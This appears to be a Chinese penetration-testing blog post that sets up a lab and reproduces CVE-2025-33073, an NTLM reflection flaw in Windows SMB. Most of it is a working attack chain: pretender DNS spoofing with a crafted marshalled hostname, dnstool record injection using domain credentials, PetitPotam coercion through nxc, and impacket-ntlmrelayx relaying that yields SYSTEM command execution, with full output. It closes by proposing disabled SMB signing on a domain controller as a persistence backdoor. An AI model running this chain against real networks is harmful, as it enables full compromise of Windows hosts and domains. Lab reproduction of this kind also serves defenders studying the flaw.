编辑
2025-06-24
渗透-技巧
00
请注意,本文编写于 134 天前,最后修改于 61 天前,其中某些信息可能已经过时。

目录

CVE-2025-33073 靶场搭建+复现
环境准备
1.VMware 安装域控
添加域账号:
2.Win10 被攻击机器
关闭防火墙
关闭SMB签名 (默认):
漏洞复现
DNS解析
方案一:
方案二:
中继监听
强制认证漏洞
漏洞分析:
SMB 客户端的缺陷
错误截断:
本地 NTLM 认证的信任机制
域控 CVE-2025-33073?

CVE-2025-33073 靶场搭建+复现

机器:

Kali 攻击机 192.168.203.134 WIN10 被攻击机 192.168.203.131 WinH22 域控机 192.168.203.10

工具:

账号:

hack\d1 //低权限,可以看到下图对于权限的对比

image-20250620012508546

环境准备

1.VMware 安装域控

具体安装过程和加域,可参考下面文章: https://blog.csdn.net/jiaqu2177/article/details/81943615

image-20250620015242330

添加域账号:

  1. 登录到域控制器: 使用具有域管理员权限的账户登录到您的域控制器。
  2. 打开 Active Directory 用户和计算机:
    • 点击“开始”菜单,搜索并打开“Active Directory 用户和计算机” (或者在“服务器管理器”中,点击“工具” -> “Active Directory 用户和计算机”)。

image-20250620015324258

  1. 导航到目标位置:

    • 在左侧窗格中,展开您的域。
    • 通常,您会在 Users 容器中创建用户,但更好的做法是在自定义的组织单位 (OU) 中创建用户,以便更好地管理和应用组策略。例如,您可以展开到 hack.com -> Users 或您自定义的 OU (例如 hack.com -> Sales -> Users)。
  2. 创建新用户:

    • 在右侧窗格的空白区域右键单击,选择 “新建” (New) -> “用户” (User)。 或者,在左侧选中目标容器/OU,然后点击菜单栏上的“创建新用户”图标。

image-20250620015409910

image-20250620020020093

2.Win10 被攻击机器

关闭防火墙

需要关闭防火墙,否则默认拦截kali发起的smb流量

image-20250620020140910

关闭SMB签名 (默认):

Powershell : Get-SmbServerConfiguration

image-20250620020322525

EnableSecuritySignature : False: 这表示 SMB 安全签名是 禁用 的。

RequireSecuritySignature : False: 这表示 不强制 要求 SMB 安全签名。

PS C:\Users\Administrator> Set-SmbServerConfiguration -RequireSecuritySignature $false -Confirm:$false PS C:\Users\Administrator> Get-SmbServerConfiguration | Select-Object RequireSecuritySignature RequireSecuritySignature ------------------------ False

漏洞复现

DNS解析

方案一:

可以使用 pretender 在局域网里开启域名监听(该方法限于同一局域网,不会在域内添加 DNS 记录较隐蔽)

./pretender -i "eth0" --spoof "localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" --no-dhcp-dns --no-timestamps

方案二:

使用 dnstool 向域内添加 DNS 记录(该方法可在不同局域网使用)

dnstool.py -u 'hack.com\d1' -p 'Qa112211' 192.168.203.10 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA -d 192.168.203.134

中继监听

impacket-ntlmrelayx -t 192.168.203.131(被攻击机) -smb2support

强制认证漏洞

扫描win10机器是否存在强制认证漏洞

nxc smb 192.168.203.131 -u "d1" -p "Qa112211" -M coerce_plus --verbose

image-20250620012143236

可以看到存在多个强制认证漏洞,这里就用最常见的:PetitPotam

┌──(root㉿kali-plus)-[~/Downloads] └─# nxc smb 192.168.203.131 -u "d1" -p "Qa112211" -M coerce_plus -o METHOD=Pe LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA --verbose [-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/enum_ca.py: No module named 'requests' [-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/empire_exec.py: No module named 'requests' [01:38:23] INFO Socket info: host=192.168.203.131, hostname=192.168.203.131, kerberos=False, ipv6=False, link-local connection.py:165 ipv6=False INFO Creating SMBv3 connection to 192.168.203.131 smb.py:606 INFO Creating SMBv1 connection to 192.168.203.131 smb.py:575 INFO Resolved domain: hack.com with dns, kdcHost: 198.19.7.197 smb.py:321 SMB 192.168.203.131 445 TEST001 [*] Windows 10 / Server 2019 Build 19041 x64 (name:TEST001) (domain:hack.com) (signing:False) (SMBv1:True) INFO Creating SMBv3 connection to 192.168.203.131 smb.py:606 SMB 192.168.203.131 445 TEST001 [+] hack.com\d1:Qa112211 INFO Loading modules for target: 192.168.203.131 connection.py:589 COERCE_PLUS 192.168.203.131 445 TEST001 VULNERABLE, PetitPotam COERCE_PLUS 192.168.203.131 445 TEST001 Exploit Success, lsarpc\EfsRpcAddUsersToFile

可以看到成功获取到了NTLM HASH

image-20250620013833341

┌──(root㉿kali-plus)-[~/Downloads] └─# impacket-ntlmrelayx -t 192.168.203.131 -smb2support -c whoami Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Protocol Client SMB loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client DCSYNC loaded.. [*] Protocol Client SMTP loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client RPC loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server on port 445 [*] Setting up HTTP Server on port 80 [*] Setting up WCF Server on port 9389 [*] Setting up RAW Server on port 6666 [*] Multirelay disabled [*] Servers started, waiting for connections [*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.203.131, attacking target smb://192.168.203.131 [*] Authenticating against smb://192.168.203.131 as / SUCCEED [*] Service RemoteRegistry is in stopped state [*] Service RemoteRegistry is disabled, enabling it [*] Starting service RemoteRegistry [*] Executed specified command on host: 192.168.203.131 nt authority\system [*] Stopping service RemoteRegistry [*] Restoring the disabled state for service RemoteRegistry [*] All targets processed! [*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.203.131 controlled, but there are no more targets left!

漏洞分析:

NTLM Reflection攻击 不是一个陌生的漏洞利用方式了。像之前的ADCS ESC-8 也是利用差不多的链条。

漏洞的出现有几个关键点:

SMB 客户端的缺陷

错误截断:

当用户输入的 test1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 时,SMB 客户端会将1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA解析为 MarshalledTargetInfo( Kerberos 扩展字段),最后截断后得到的是 test

Kerberos SSPI 支持一种特殊的 SPN 格式(如 CASTELBLACK1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA),如果 Kerberos SSPI 遇到这种格式的 SPN,它会计算新字符串的长度,将其与 SPN 进行分割,然后继续使用新的 SPN 字符串进行验证过程。SMB 客户端为了支持这种格式,会调用 SecMakeSPNEx2 API,该 API 又会调用 CredMarshalTargetInfo 来构建新的字符串,并将其附加到 SPN 的末尾。

而为了验证目标服务器的名称和当前计算机是否为同一台机器,SspIsTargetLocalhost 函数会对 IP 或者域名进行比对,如果目标服务器使用的是域名,则会将域名和以下三个内容做比较:

  • 机器的 FQDN (CASTELBLACK.NORTH.SEVENKINGDOMS.LOCAL)
  • 机器的主机名 (CASTELBLACK)
  • localhost

本地 NTLM 认证的信任机制

Windows 的 NTLM 认证 有一个优化机制:

  • 如果是本地进程访问本地服务(比如 localhost 或本机主机名),就不需要严格验证(因为“自己人”无需防)。

  • 如果是远程访问,就必须检查签名、挑战值(Challenge)等安全措施。

  • 它依赖两个关键字段

    • Calling Workstation Name(工作站名,如 test

    • Calling Workstation Domain(域名,如 test.hack.com

域控 CVE-2025-33073?

为什么域控没办法被CVE-2025-33073影响,原因很简单,因为域控默认开启SMB签名,所以如果手动关闭,依然可以使用该漏洞实现接管

手动关闭 PS C:\Users\Administrator> Set-SmbServerConfiguration -RequireSecuritySignature $false -Confirm:$false PS C:\Users\Administrator> Get-SmbServerConfiguration | Select-Object RequireSecuritySignature RequireSecuritySignature ------------------------ False

image-20250620024238384

由此是不是可以作为一种持久化后门的手段。

参考文章:

https://mp.weixin.qq.com/s/Ew9OULVjM-zLAxpMsaUyvQ